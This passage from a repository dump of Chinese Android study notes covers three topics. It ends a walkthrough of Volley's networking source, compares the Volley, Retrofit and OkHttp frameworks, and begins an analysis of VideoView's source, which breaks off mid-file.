} catch (VolleyError volleyError) {\n                volleyError.setNetworkTimeMs(SystemClock.elapsedRealtime() - startTimeMs);\n                parseAndDeliverNetworkError(request, volleyError);\n            } catch (Exception e) {\n                VolleyLog.e(e, \"Unhandled exception %s\", e.toString());\n                VolleyError volleyError = new VolleyError(e);\n                volleyError.setNetworkTimeMs(SystemClock.elapsedRealtime() - startTimeMs);\n                mDelivery.postError(request, volleyError);\n            }\n        }\n    }\n\n    private void parseAndDeliverNetworkError(Request<?> request, VolleyError error) {\n        error = request.parseNetworkError(error);\n        mDelivery.postError(request, error);\n    }\n}\n```\n上面会执行到`mNetwork.performRequest`方法，而`Network`是一个接口，具体的实现要看`BaseNetwork`中的实现：      \n```java\n    @Override\n    public NetworkResponse performRequest(Request<?> request) throws VolleyError {\n        long requestStart = SystemClock.elapsedRealtime();\n        while (true) {\n            HttpResponse httpResponse = null;\n            byte[] responseContents = null;\n            Map<String, String> responseHeaders = Collections.emptyMap();\n            try {\n                // Gather headers.\n                Map<String, String> headers = new HashMap<String, String>();\n                addCacheHeaders(headers, request.getCacheEntry());\n                // 调用mHttpStack.performRequest方法，这里就是newRequestQueue中创建的部分，9及以上为HurlStack，9以下为HttpClientStach,具体就是真正执行网络请求的部分了。\n                httpResponse = mHttpStack.performRequest(request, headers);\n                StatusLine statusLine = httpResponse.getStatusLine();\n                int statusCode = statusLine.getStatusCode();\n\n                responseHeaders = convertHeaders(httpResponse.getAllHeaders());\n                // Handle cache validation.\n                if (statusCode == HttpStatus.SC_NOT_MODIFIED) {\n\n                    Entry entry = request.getCacheEntry();\n                    if (entry == null) {\n                        return new NetworkResponse(HttpStatus.SC_NOT_MODIFIED, null,\n                                responseHeaders, true,\n                                SystemClock.elapsedRealtime() - requestStart);\n                    }\n\n                    // A HTTP 304 response does not have all header fields. We\n                    // have to use the header fields from the cache entry plus\n                    // the new ones from the response.\n                    // http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.5\n                    entry.responseHeaders.putAll(responseHeaders);\n                    return new NetworkResponse(HttpStatus.SC_NOT_MODIFIED, entry.data,\n                            entry.responseHeaders, true,\n                            SystemClock.elapsedRealtime() - requestStart);\n                }\n                \n                // Handle moved resources\n                if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || statusCode == HttpStatus.SC_MOVED_TEMPORARILY) {\n                \tString newUrl = responseHeaders.get(\"Location\");\n                \trequest.setRedirectUrl(newUrl);\n                }\n\n                // Some responses such as 204s do not have content.  We must check.\n                if (httpResponse.getEntity() != null) {\n                  responseContents = entityToBytes(httpResponse.getEntity());\n                } else {\n                  // Add 0 byte response as a way of honestly representing a\n                  // no-content request.\n                  responseContents = new byte[0];\n                }\n\n                // if the request is slow, log it.\n                long requestLifetime = SystemClock.elapsedRealtime() - requestStart;\n                logSlowRequests(requestLifetime, request, responseContents, statusLine);\n\n                if (statusCode < 200 || statusCode > 299) {\n                    throw new IOException();\n                }\n                return new NetworkResponse(statusCode, responseContents, responseHeaders, false,\n                        SystemClock.elapsedRealtime() - requestStart);\n            } catch (SocketTimeoutException e) {\n                attemptRetryOnException(\"socket\", request, new TimeoutError());\n            } catch (ConnectTimeoutException e) {\n                attemptRetryOnException(\"connection\", request, new TimeoutError());\n            } catch (MalformedURLException e) {\n                throw new RuntimeException(\"Bad URL \" + request.getUrl(), e);\n            } catch (IOException e) {\n                int statusCode = 0;\n                NetworkResponse networkResponse = null;\n                if (httpResponse != null) {\n                    statusCode = httpResponse.getStatusLine().getStatusCode();\n                } else {\n                    throw new NoConnectionError(e);\n                }\n                if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || \n                \t\tstatusCode == HttpStatus.SC_MOVED_TEMPORARILY) {\n                \tVolleyLog.e(\"Request at %s has been redirected to %s\", request.getOriginUrl(), request.getUrl());\n                } else {\n                \tVolleyLog.e(\"Unexpected response code %d for %s\", statusCode, request.getUrl());\n                }\n                if (responseContents != null) {\n                    networkResponse = new NetworkResponse(statusCode, responseContents,\n                            responseHeaders, false, SystemClock.elapsedRealtime() - requestStart);\n                    if (statusCode == HttpStatus.SC_UNAUTHORIZED ||\n                            statusCode == HttpStatus.SC_FORBIDDEN) {\n                        attemptRetryOnException(\"auth\",\n                                request, new AuthFailureError(networkResponse));\n                    } else if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || \n                    \t\t\tstatusCode == HttpStatus.SC_MOVED_TEMPORARILY) {\n                        attemptRetryOnException(\"redirect\",\n                                request, new AuthFailureError(networkResponse));\n                    } else {\n                        // TODO: Only throw ServerError for 5xx status codes.\n                        throw new ServerError(networkResponse);\n                    }\n                } else {\n                    throw new NetworkError(networkResponse);\n                }\n            }\n        }\n    }\n```\n上面调用了mHttpStack.performRequest的方法，这里就以9及以上的HurlStack类来看下源码：   \n```java\n@Override\npublic HttpResponse performRequest(Request<?> request, Map<String, String> additionalHeaders)\n\t\tthrows IOException, AuthFailureError {\n\tString url = request.getUrl();\n\tHashMap<String, String> map = new HashMap<String, String>();\n\tmap.putAll(request.getHeaders());\n\tmap.putAll(additionalHeaders);\n\tif (mUrlRewriter != null) {\n\t\tString rewritten = mUrlRewriter.rewriteUrl(url);\n\t\tif (rewritten == null) {\n\t\t\tthrow new IOException(\"URL blocked by rewriter: \" + url);\n\t\t}\n\t\turl = rewritten;\n\t}\n\tURL parsedUrl = new URL(url);\n\tHttpURLConnection connection = openConnection(parsedUrl, request);\n\tfor (String headerName : map.keySet()) {\n\t\tconnection.addRequestProperty(headerName, map.get(headerName));\n\t}\n\tsetConnectionParametersForRequest(connection, request);\n\t// Initialize HttpResponse with data from the HttpURLConnection.\n\tProtocolVersion protocolVersion = new ProtocolVersion(\"HTTP\", 1, 1);\n\tint responseCode = connection.getResponseCode();\n\tif (responseCode == -1) {\n\t\t// -1 is returned by getResponseCode() if the response code could not be retrieved.\n\t\t// Signal to the caller that something was wrong with the connection.\n\t\tthrow new IOException(\"Could not retrieve response code from HttpUrlConnection.\");\n\t}\n\tStatusLine responseStatus = new BasicStatusLine(protocolVersion,\n\t\t\tconnection.getResponseCode(), connection.getResponseMessage());\n\tBasicHttpResponse response = new BasicHttpResponse(responseStatus);\n\tresponse.setEntity(entityFromConnection(connection));\n\tfor (Entry<String, List<String>> header : connection.getHeaderFields().entrySet()) {\n\t\tif (header.getKey() != null) {\n\t\t\tHeader h = new BasicHeader(header.getKey(), header.getValue().get(0));\n\t\t\tresponse.addHeader(h);\n\t\t}\n\t}\n\treturn response;\n}\n```\n\n接下来还要看一下`mDelivery.postResponse(request, response);`这里的,mDelivery就是`new ExecutorDelivery(new Handler(Looper.getMainLooper()))`\n```java\n/**\n * Delivers responses and errors.\n */\npublic class ExecutorDelivery implements ResponseDelivery {\n    /** Used for posting responses, typically to the main thread. */\n    private final Executor mResponsePoster;\n\n    /**\n     * Creates a new response delivery interface.\n     * @param handler {@link Handler} to post responses on\n     */\n    public ExecutorDelivery(final Handler handler) {\n        // Make an Executor that just wraps the handler.\n        mResponsePoster = new Executor() {\n            @Override\n            public void execute(Runnable command) {\n                handler.post(command);\n            }\n        };\n    }\n\n    /**\n     * Creates a new response delivery interface, mockable version\n     * for testing.\n     * @param executor For running delivery tasks\n     */\n    public ExecutorDelivery(Executor executor) {\n        mResponsePoster = executor;\n    }\n\n    @Override\n    public void postResponse(Request<?> request, Response<?> response) {\n        postResponse(request, response, null);\n    }\n\n    @Override\n    public void postResponse(Request<?> request, Response<?> response, Runnable runnable) {\n        request.markDelivered();\n        request.addMarker(\"post-response\");\n        // 内部会调用execute方法\n        mResponsePoster.execute(new ResponseDeliveryRunnable(request, response, runnable));\n    }\n\n    @Override\n    public void postError(Request<?> request, VolleyError error) {\n        request.addMarker(\"post-error\");\n        Response<?> response = Response.error(error);\n        mResponsePoster.execute(new ResponseDeliveryRunnable(request, response, null));\n    }\n\n    /**\n     * A Runnable used for delivering network responses to a listener on the\n     * main thread.\n     */\n    @SuppressWarnings(\"rawtypes\")\n    private class ResponseDeliveryRunnable implements Runnable {\n        private final Request mRequest;\n        private final Response mResponse;\n        private final Runnable mRunnable;\n\n        public ResponseDeliveryRunnable(Request request, Response response, Runnable runnable) {\n            mRequest = request;\n            mResponse = response;\n            mRunnable = runnable;\n        }\n\n        @SuppressWarnings(\"unchecked\")\n        @Override\n        public void run() {\n            // 这里就是重点部分了\n            // If this request has canceled, finish it and don't deliver.\n            if (mRequest.isCanceled()) {\n                mRequest.finish(\"canceled-at-delivery\");\n                return;\n            }\n            // 调用mRequest的deliverResponse或者deliverError进行分发\n            // Deliver a normal response or error, depending.\n            if (mResponse.isSuccess()) {\n                mRequest.deliverResponse(mResponse.result);\n            } else {\n                mRequest.deliverError(mResponse.error);\n            }\n\n            // If this is an intermediate response, add a marker, otherwise we're done\n            // and the request can be finished.\n            if (mResponse.intermediate) {\n                mRequest.addMarker(\"intermediate-response\");\n            } else {\n                // 执行finish方法\n                mRequest.finish(\"done\");\n            }\n\n            // If we have been provided a post-delivery runnable, run it.\n            if (mRunnable != null) {\n                mRunnable.run();\n            }\n       }\n    }\n}\n\n```\n这里再看一下mRequest的deliverResponse方法。     \nRequest接口中没有实现该方法，具体我们以StringRequest为例看一下： \n```java\n/**\n * A canned request for retrieving the response body at a given URL as a String.\n */\npublic class StringRequest extends Request<String> {\n    private final Listener<String> mListener;\n\n    /**\n     * Creates a new request with the given method.\n     *\n     * @param method the request {@link Method} to use\n     * @param url URL to fetch the string at\n     * @param listener Listener to receive the String response\n     * @param errorListener Error listener, or null to ignore errors\n     */\n    public StringRequest(int method, String url, Listener<String> listener,\n            ErrorListener errorListener) {\n        super(method, url, errorListener);\n        mListener = listener;\n    }\n\n    /**\n     * Creates a new GET request.\n     *\n     * @param url URL to fetch the string at\n     * @param listener Listener to receive the String response\n     * @param errorListener Error listener, or null to ignore errors\n     */\n    public StringRequest(String url, Listener<String> listener, ErrorListener errorListener) {\n        this(Method.GET, url, listener, errorListener);\n    }\n\n    @Override\n    protected void deliverResponse(String response) {\n        // 回调\n        mListener.onResponse(response);\n    }\n\n    @Override\n    protected Response<String> parseNetworkResponse(NetworkResponse response) {\n        String parsed;\n        try {\n            parsed = new String(response.data, HttpHeaderParser.parseCharset(response.headers));\n        } catch (UnsupportedEncodingException e) {\n            parsed = new String(response.data);\n        }\n        return Response.success(parsed, HttpHeaderParser.parseCacheHeaders(response));\n    }\n}\n\n```\n\n\n接着看一下mRequest.finish方法的实现:    \n```java\n/**\n * Notifies the request queue that this request has finished (successfully or with error).\n *\n * <p>Also dumps all events from this request's event log; for debugging.</p>\n */\nvoid finish(final String tag) {\n    if (mRequestQueue != null) {\n        // 内部调用了mRequestQueue的finish方法，也就是把请求从请求队列中移除。\n        mRequestQueue.finish(this);\n    }\n    if (MarkerLog.ENABLED) {\n        final long threadId = Thread.currentThread().getId();\n        if (Looper.myLooper() != Looper.getMainLooper()) {\n            // If we finish marking off of the main thread, we need to\n            // actually do it on the main thread to ensure correct ordering.\n            Handler mainThread = new Handler(Looper.getMainLooper());\n            mainThread.post(new Runnable() {\n                @Override\n                public void run() {\n                    mEventLog.add(tag, threadId);\n                    mEventLog.finish(this.toString());\n                }\n            });\n            return;\n        }\n\n        mEventLog.add(tag, threadId);\n        mEventLog.finish(this.toString());\n    } else {\n        long requestTime = SystemClock.elapsedRealtime() - mRequestBirthTime;\n        if (requestTime >= SLOW_REQUEST_THRESHOLD_MS) {\n            VolleyLog.d(\"%d ms: %s\", requestTime, this.toString());\n        }\n    }\n}\n```\n\n到这里就全部分析完了。\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/volley-retrofit-okhttp之我们该如何选择网路框架.md",
    "content": "volley-retrofit-okhttp之我们该如何选择网路框架\n===\n\n说起`Volley`、`Retrofit`、`OkHttp`相信基本没有人不知道。当然这里把`OkHttp`放进来可能有些不恰当。\n因为`OkHttp`的官方介绍是`An HTTP+HTTP/2 client for Android and Java applications`。\n也就是说`OkHttp`是基于`http`协议封装的一套请求客户端。它是真正的网络请求部分，\n与`HttpClient`、`HttpUrlConnection`是一样的，\n但是显然它的效率非常高(说到这里顺便提一嘴，从`Android 4.4`开始`HttpUrlConnection`内部默认使用的也是`OkHttp`，\n具体请参考之前的文章[HttpUrlConnection详解][1]\n而`Volley`、`Retrofit`是控制请求的队列、切换、解析、缓存等逻辑。所以`Volley`和`Retrofit`都可以结合`OkHttp`来使用。 \n\n\n在`Android`开发中有很多网络请求框架，但是比较过来比较过去，最后最倾向的就是这两个:    \n\n- `Volley`:`Google`发布的网络请求框架，专门为移动设备定制，小而美。     \n- `Retrofit`:良心企业    `Square`由大神`JakeWharton`主导的开源项目,是基于`OkHttp`封装的一套`Resetful`网络请求框架。`Type-safe HTTP client for Android and Java by Square, Inc.`\n\n\n有关`Volley`的介绍请看之前发布的文章[Volley源码分析][2]\n\n\n这里就不分别介绍他俩了，直接说各自的优缺点:    \n\n- `Retrofit`使用起来更简单。而`Volley`配置起来会稍微麻烦，因为`Volley`可以使用`HttpClient`、`HttpUrlConnection`、`OkHttp`我们需要根据自己的需求去配置。而`Retrofit`只能结合`OkHttp`使用。   \n\n- `Retrofit`依赖于`OkHttp`，从而会导致它的包大小会比`Volley`的大。 \n\n- `Volley`有很好的内存缓存管理，它在解析之前会将整个相应部分都加载到内存中，所以它对于小的网络请求非常合适，但是不支持`post`大数据，所以不适合上传文件。而`Retrofit`使用的是硬盘缓存，所以相比起从缓存这块来讲`Retrofit`可能会更慢一些。   \n\n- `Retrofit`依赖于`OkHttp`，而`OkHttp`自身会避免同时两次请求同一个请求。所以`Retrofit`同样会和`Volley`一样去避免重复的请求，只不过它是在网络层来处理的。 \n\n- `Volley`在网络请求部分默认依赖于`Apache HttpClient`。而`Apache HttpClient`从`API 23`开始已经在`Android`中被移除并废弃了。这就是为什么很多开发者会认为`Volley`已经过时了，因为`Volley`并没有迁移到新的未废弃的代码。    \n\n- 默认情况下`Volley`会在`DefaultRetryPolicy`中会将读取和连接的超时时间设置为`2.5s`，并且对每次请求失败或者超时都有一次自动重试。 所以对于一些服务器响应可能会超过`2s`的请求，开发者需要格外的小心下。`Retrofit`的默认超时时间是`10s`，而且它对失败或者超时的操作不会自动重试。      \n- 很多开发者都会说`Retrofit`会比`Volley`更快。因为有人专门去测试过，其实这里是不严谨的。因为`Volley`可以结合使用`HttpUrlConnection`、`HttpClient`、`OkHttp`等来使用，而`Retrofit`是用`OkHttp`一起，所以如果你让`Volley`结合`OkHttp`之后再来测试你就会发现总体来说其实他们不相上下。    \n\n\n- `Volley`实现了很完善的`Activity`声明周期管理。\n\n虽然`Volley`之前也有一些问题，但是它们也都被各个大神修复。\n\n\n所以综合起来说使用`Volley+OKHttp`的组合是非常不错的，既可以保证速度又可以满足对缓存、重试等的处理。但是如果你是`RxJava`的使用者那你可能会更偏向于使用`Retrofit`，因为`Retrofit`可以无缝结合`RxJava`使用。目前主流的一套框架就是`Retrofit + OkHttp + RxJava + Dagger2 `，但是对使用者的要求也相对要高些。\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/Netowork/HttpURLConnection%E8%AF%A6%E8%A7%A3.md \"HttpUrlConnection详解\"\n[2]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/Netowork/Volley%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md \"Volley源码分析\"\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/VideoView源码分析.md",
    "content": "VideoView源码分析\n===\n\nVideoView\n---\n\n基于Android4.4源码进行分析\n\n- 简介     \n    ```java \n\t/**\n\t * Displays a video file.  The VideoView class\n\t * can load images from various sources (such as resources or content\n\t * providers), takes care of computing its measurement from the video so that\n\t * it can be used in any layout manager, and provides various display options\n\t * such as scaling and tinting.<p>\n\t *\n\t * <em>Note: VideoView does not retain its full state when going into the\n\t * background.</em>  In particular, it does not restore the current play state,\n\t * play position, selected tracks, or any subtitle tracks added via\n\t * {@link #addSubtitleSource addSubtitleSource()}.  Applications should\n\t * save and restore these on their own in\n\t * {@link android.app.Activity#onSaveInstanceState} and\n\t * {@link android.app.Activity#onRestoreInstanceState}.<p>\n\t * Also note that the audio session id (from {@link #getAudioSessionId}) may\n\t * change from its previously returned value when the VideoView is restored.\n\t */\n\t```\n\n- 关系       \n\t```java\n\tpublic class VideoView extends SurfaceView\n\t\t\timplements MediaPlayerControl\n\t```\n\n- 成员\n    - 播放器所有的状态\n\t\t```java\n\t\t// all possible internal states\n\t\tprivate static final int STATE_ERROR              = -1;\n\t\tprivate static final int STATE_IDLE               = 0;\n\t\tprivate static final int STATE_PREPARING          = 1;\n\t\tprivate static final int STATE_PREPARED           = 2;\n\t\tprivate static final int STATE_PLAYING            = 3;\n\t\tprivate static final int STATE_PAUSED             = 4;\n\t\tprivate static final int STATE_PLAYBACK_COMPLETED = 5;\n\t\t```\n\n\t- 记录播放器状态\n\t\t```java\n\t\t// mCurrentState is a VideoView object's current state.\n\t\t// mTargetState is the state that a method caller intends to reach.\n\t\t// For instance, regardless the VideoView object's current state,\n\t\t// calling pause() intends to bring the object to a target state\n\t\t// of STATE_PAUSED.\n\t\tprivate int mCurrentState = STATE_IDLE;\n\t\tprivate int mTargetState  = STATE_IDLE;\n\t\t```\t\t\n\n\t- 主要功能部分\n\t\t```java\n\t\tprivate SurfaceHolder mSurfaceHolder = null;// 显示图像\n        private MediaPlayer mMediaPlayer = null; // 声音、播放\n\t\tprivate MediaController mMediaController; // 播放控制\n\t\t```\n\n\t- 其他\n\t    ```java\n\t\tprivate int         mVideoWidth;  // 视频宽度 在onVideoSizeChanged() 和 onPrepared() 中可以得到具体大小\n\t\tprivate int         mVideoHeight;  //视频高度\n\t\tprivate int         mSurfaceWidth; // Surface宽度  在SurfaceHolder.Callback.surfaceChanged() 中可以得到具体大小\n\t\tprivate int         mSurfaceHeight; // Surface高度\n\t\tprivate int         mSeekWhenPrepared;  // recording the seek position while preparing\n\t\t```\n\t\t\n- 具体实现\n    - 构造方法\n\t    ```java\n\t\tpublic VideoView(Context context) {\n\t\t\tsuper(context);\n\t\t\tinitVideoView();\n\t\t}\n\n\t\tpublic VideoView(Context context, AttributeSet attrs) {\n\t\t\tthis(context, attrs, 0);\n\t\t\tinitVideoView();\n\t\t}\n\n\t\tpublic VideoView(Context context, AttributeSet attrs, int defStyle) {\n\t\t\tsuper(context, attrs, defStyle);\n\t\t\tinitVideoView();\n\t\t}\n\t\t```\n\t\t\n\t\t```java\n\t\t// 进行一些必要信息的初始化设置\n\t\tprivate void initVideoView() {\n\t\t\tmVideoWidth = 0;\n\t\t\tmVideoHeight = 0;\n\t\t\t\n\t\t\t// 通过SurfaceHolder去控制SurfaceView\n\t\t\tgetHolder().addCallback(mSHCallback);\n\t\t\t// Deprecated. this is ignored, this value is set automatically when needed.Android3.0以上会自动设置，但是为了兼容还需设置\n\t\t\tgetHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);\n\t\t\t\n\t\t\tsetFocusable(true);\n\t\t\tsetFocusableInTouchMode(true);\n\t\t\trequestFocus();\n\t\t\t\n\t\t\t// 字幕相关，用不到\n\t\t\tmPendingSubtitleTracks = new Vector<Pair<InputStream, MediaFormat>>();\n\t\t\t\n\t\t\tmCurrentState = STATE_IDLE;\n\t\t\tmTargetState  = STATE_IDLE;\n\t\t}\n\t\t```\n\t\t\n\t\tSurfaceHolder.Callback源码\n\t\t```java\n\t\tSurfaceHolder.Callback mSHCallback = new SurfaceHolder.Callback()\n\t\t{\n\t\t\tpublic void surfaceChanged(SurfaceHolder holder, int format,\n\t\t\t\t\t\t\t\t\t\tint w, int h)\n\t\t\t{\n\t\t\t\tmSurfaceWidth = w;\n\t\t\t\tmSurfaceHeight = h;\n\t\t\t\tboolean isValidState =  (mTargetState == STATE_PLAYING);\n\t\t\t\tboolean hasValidSize = (mVideoWidth == w && mVideoHeight == h);\n\t\t\t\tif (mMediaPlayer != null && isValidState && hasValidSize) {\n\t\t\t\t\tif (mSeekWhenPrepared != 0) {\n\t\t\t\t\t\tseekTo(mSeekWhenPrepared);\n\t\t\t\t\t}\n\t\t\t\t\t// 如果当前已经是播放状态的话就调用mediaplaer.start() 方法，并且把当前状态以及目标状态进行改变\n\t\t\t\t\tstart();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic void surfaceCreated(SurfaceHolder holder)\n\t\t\t{\n\t\t\t\tmSurfaceHolder = holder;\n\t\t\t\t// Surface创建后就开始调用播放\n\t\t\t\topenVideo();\n\t\t\t}\n\n\t\t\tpublic void surfaceDestroyed(SurfaceHolder holder)\n\t\t\t{\n\t\t\t\t// after we return from this we can't use the surface any more\n\t\t\t\tmSurfaceHolder = null;\n\t\t\t\tif (mMediaController != null) mMediaController.hide();\n\t\t\t\trelease(true);\n\t\t\t}\n\t\t};\n\t\t```\n\t\t\n\t- 重写onMeasure()方法\n\t\t```java\n\t\t@Override\n\t    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n\t        int width = getDefaultSize(mVideoWidth, widthMeasureSpec);\n\t        int height = getDefaultSize(mVideoHeight, heightMeasureSpec);\n\t\t\t\n\t\t\t// ....根据视频的宽高比进行处理， 为了更好的宽展，提供一些用户能自己选择的模式，一般会另外提供方法, 这部分代码可以先不看 start\n\t\t\tint width = getDefaultSize(mVideoWidth, widthMeasureSpec);\n\t        int height = getDefaultSize(mVideoHeight, heightMeasureSpec);\n\t        if (mVideoWidth > 0 && mVideoHeight > 0) {\n\t\n\t            int widthSpecMode = MeasureSpec.getMode(widthMeasureSpec);\n\t            int widthSpecSize = MeasureSpec.getSize(widthMeasureSpec);\n\t            int heightSpecMode = MeasureSpec.getMode(heightMeasureSpec);\n\t            int heightSpecSize = MeasureSpec.getSize(heightMeasureSpec);\n\t\n\t            if (widthSpecMode == MeasureSpec.EXACTLY && heightSpecMode == MeasureSpec.EXACTLY) {\n\t                // the size is fixed\n\t                width = widthSpecSize;\n\t                height = heightSpecSize;\n\t\n\t                // for compatibility, we adjust size based on aspect ratio\n\t                if ( mVideoWidth * height  < width * mVideoHeight ) {\n\t                    //Log.i(\"@@@\", \"image too wide, correcting\");\n\t                    width = height * mVideoWidth / mVideoHeight;\n\t                } else if ( mVideoWidth * height  > width * mVideoHeight ) {\n\t                    //Log.i(\"@@@\", \"image too tall, correcting\");\n\t                    height = width * mVideoHeight / mVideoWidth;\n\t                }\n\t            } else if (widthSpecMode == MeasureSpec.EXACTLY) {\n\t                // only the width is fixed, adjust the height to match aspect ratio if possible\n\t                width = widthSpecSize;\n\t                height = width * mVideoHeight / mVideoWidth;\n\t                if (heightSpecMode == MeasureSpec.AT_MOST && height > heightSpecSize) {\n\t                    // couldn't match aspect ratio within the constraints\n\t                    height = heightSpecSize;\n\t                }\n\t            } else if (heightSpecMode == MeasureSpec.EXACTLY) {\n\t                // only the height is fixed, adjust the width to match aspect ratio if possible\n\t                height = heightSpecSize;\n\t                width = height * mVideoWidth / mVideoHeight;\n\t                if (widthSpecMode == MeasureSpec.AT_MOST && width > widthSpecSize) {\n\t                    // couldn't match aspect ratio within the constraints\n\t                    width = widthSpecSize;\n\t                }\n\t            } else {\n\t                // neither the width nor the height are fixed, try to use actual video size\n\t                width = mVideoWidth;\n\t                height = mVideoHeight;\n\t                if (heightSpecMode == MeasureSpec.AT_MOST && height > heightSpecSize) {\n\t                    // too tall, decrease both width and height\n\t                    height = heightSpecSize;\n\t                    width = height * mVideoWidth / mVideoHeight;\n\t                }\n\t                if (widthSpecMode == MeasureSpec.AT_MOST && width > widthSpecSize) {\n\t                    // too wide, decrease both width and height\n\t                    width = widthSpecSize;\n\t                    height = width * mVideoHeight / mVideoWidth;\n\t                }\n\t            }\n\t        } else {\n\t            // no size yet, just adopt the given spec sizes\n\t        }\n\t\t\t// end\n\t\t\t\n\t        setMeasuredDimension(width, height);\n\t    }\n\t\t```\n\t\n\t\t- 附上getDefaultSize()源码 \n\t\t\t```java\n\t\t\t/**\n\t\t\t * Utility to return a default size. Uses the supplied size if the\n\t\t\t * MeasureSpec imposed no constraints. Will get larger if allowed\n\t\t\t * by the MeasureSpec.\n\t\t\t *\n\t\t\t * @param size Default size for this view\n\t\t\t * @param measureSpec Constraints imposed by the parent\n\t\t\t * @return The size this view should be.\n\t\t\t */\n\t\t\tpublic static int getDefaultSize(int size, int measureSpec) {\n\t\t\t\tint result = size;\n\t\t\t\tint specMode = MeasureSpec.getMode(measureSpec);\n\t\t\t\tint specSize = MeasureSpec.getSize(measureSpec);\n\n\t\t\t\tswitch (specMode) {\n\t\t\t\tcase MeasureSpec.UNSPECIFIED:\n\t\t\t\t\tresult = size;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MeasureSpec.AT_MOST:\n\t\t\t\tcase MeasureSpec.EXACTLY:\n\t\t\t\t\tresult = specSize;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\treturn result;\n\t\t\t}\n\t\t\t```\n \n\t- 外部进行播放调用\n\t\t```java\n\t\tpublic void setVideoPath(String path) {\n\t\t\tsetVideoURI(Uri.parse(path));\n\t\t}\n\n\t\tpublic void setVideoURI(Uri uri) {\n\t\t\tsetVideoURI(uri, null);\n\t\t}\n\n\t\t/**\n\t\t * @hide\n\t\t */\n\t\tpublic void setVideoURI(Uri uri, Map<String, String> headers) {\n\t\t\tmUri = uri;\n\t\t\tmHeaders = headers;\n\t\t\tmSeekWhenPrepared = 0;\n\t\t\t\n\t\t\topenVideo();\n\t\t\t\n\t\t\trequestLayout();\n\t\t\tinvalidate();\n\t\t}\n\t\t```\n\t\t\n\t\t- openVide() 源码\n\t\t    ```java\n\t\t\tprivate void openVideo() {\n\t\t\t\tif (mUri == null || mSurfaceHolder == null) {\n\t\t\t\t\t// not ready for playback just yet, will try again later\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Tell the music playback service to pause\n\t\t\t\t// TODO: these constants need to be published somewhere in the framework.\n\t\t\t\tIntent i = new Intent(\"com.android.music.musicservicecommand\");\n\t\t\t\ti.putExtra(\"command\", \"pause\");\n\t\t\t\tmContext.sendBroadcast(i);\n\n\t\t\t\t// we shouldn't clear the target state, because somebody might have\n\t\t\t\t// called start() previously // 先把已经存在的MediaPlayer释放掉，然后重新创建一个, 不一定只在SetVideoPath() 中调用，在其他地方也会调用\n\t\t\t\trelease(false);\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\t// 创建一个MediaPlayer\n\t\t\t\t\tmMediaPlayer = new MediaPlayer();\n\t\t\t\t\t// TODO: create SubtitleController in MediaPlayer, but we need\n\t\t\t\t\t// a context for the subtitle renderers\n\t\t\t\t\tfinal Context context = getContext();\n\t\t\t\t\tfinal SubtitleController controller = new SubtitleController(\n\t\t\t\t\t\t\tcontext, mMediaPlayer.getMediaTimeProvider(), mMediaPlayer);\n\t\t\t\t\tcontroller.registerRenderer(new WebVttRenderer(context));\n\t\t\t\t\tmMediaPlayer.setSubtitleAnchor(controller, this);\n\n\t\t\t\t\tif (mAudioSession != 0) {\n\t\t\t\t\t\tmMediaPlayer.setAudioSessionId(mAudioSession);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmAudioSession = mMediaPlayer.getAudioSessionId();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// 设置一些必要的监听\n\t\t\t\t\tmMediaPlayer.setOnPreparedListener(mPreparedListener);\n\t\t\t\t\tmMediaPlayer.setOnVideoSizeChangedListener(mSizeChangedListener);\n\t\t\t\t\tmMediaPlayer.setOnCompletionListener(mCompletionListener);\n\t\t\t\t\tmMediaPlayer.setOnErrorListener(mErrorListener);\n\t\t\t\t\tmMediaPlayer.setOnInfoListener(mInfoListener);\n\t\t\t\t\tmMediaPlayer.setOnBufferingUpdateListener(mBufferingUpdateListener);\n\t\t\t\t\tmCurrentBufferPercentage = 0;\n\t\t\t\t\t// 让MediaPlayer进行播放\n\t\t\t\t\tmMediaPlayer.setDataSource(mContext, mUri, mHeaders);\n\t\t\t\t\t// 让SurfaceView进行画面显示\n\t\t\t\t\tmMediaPlayer.setDisplay(mSurfaceHolder);\n\t\t\t\t\t// 设置音频类型\n\t\t\t\t\tmMediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);\n\t\t\t\t\t// 播放时屏幕常亮\n\t\t\t\t\tmMediaPlayer.setScreenOnWhilePlaying(true);\n\t\t\t\t\t// Prepares the player for playback, asynchronously. After setting the datasource and the display surface, you need to either call prepare() or prepareAsync(). For streams, you should call prepareAsync(), \n\t\t\t\t\t// which returns immediately, rather than blocking until enough data has been buffered.\n\t\t\t\t\tmMediaPlayer.prepareAsync();\n\n\t\t\t\t\tfor (Pair<InputStream, MediaFormat> pending: mPendingSubtitleTracks) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tmMediaPlayer.addSubtitleSource(pending.first, pending.second);\n\t\t\t\t\t\t} catch (IllegalStateException e) {\n\t\t\t\t\t\t\tmInfoListener.onInfo(\n\t\t\t\t\t\t\t\t\tmMediaPlayer, MediaPlayer.MEDIA_INFO_UNSUPPORTED_SUBTITLE, 0);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// we don't set the target state here either, but preserve the\n\t\t\t\t\t// target state that was there before.\n\t\t\t\t\tmCurrentState = STATE_PREPARING;\n\t\t\t\t\t// 如果已经调用过SetMediaController() 方法，这里会直接显示\n\t\t\t\t\tattachMediaController();\n\t\t\t\t} catch (IOException ex) {\n\t\t\t\t\tLog.w(TAG, 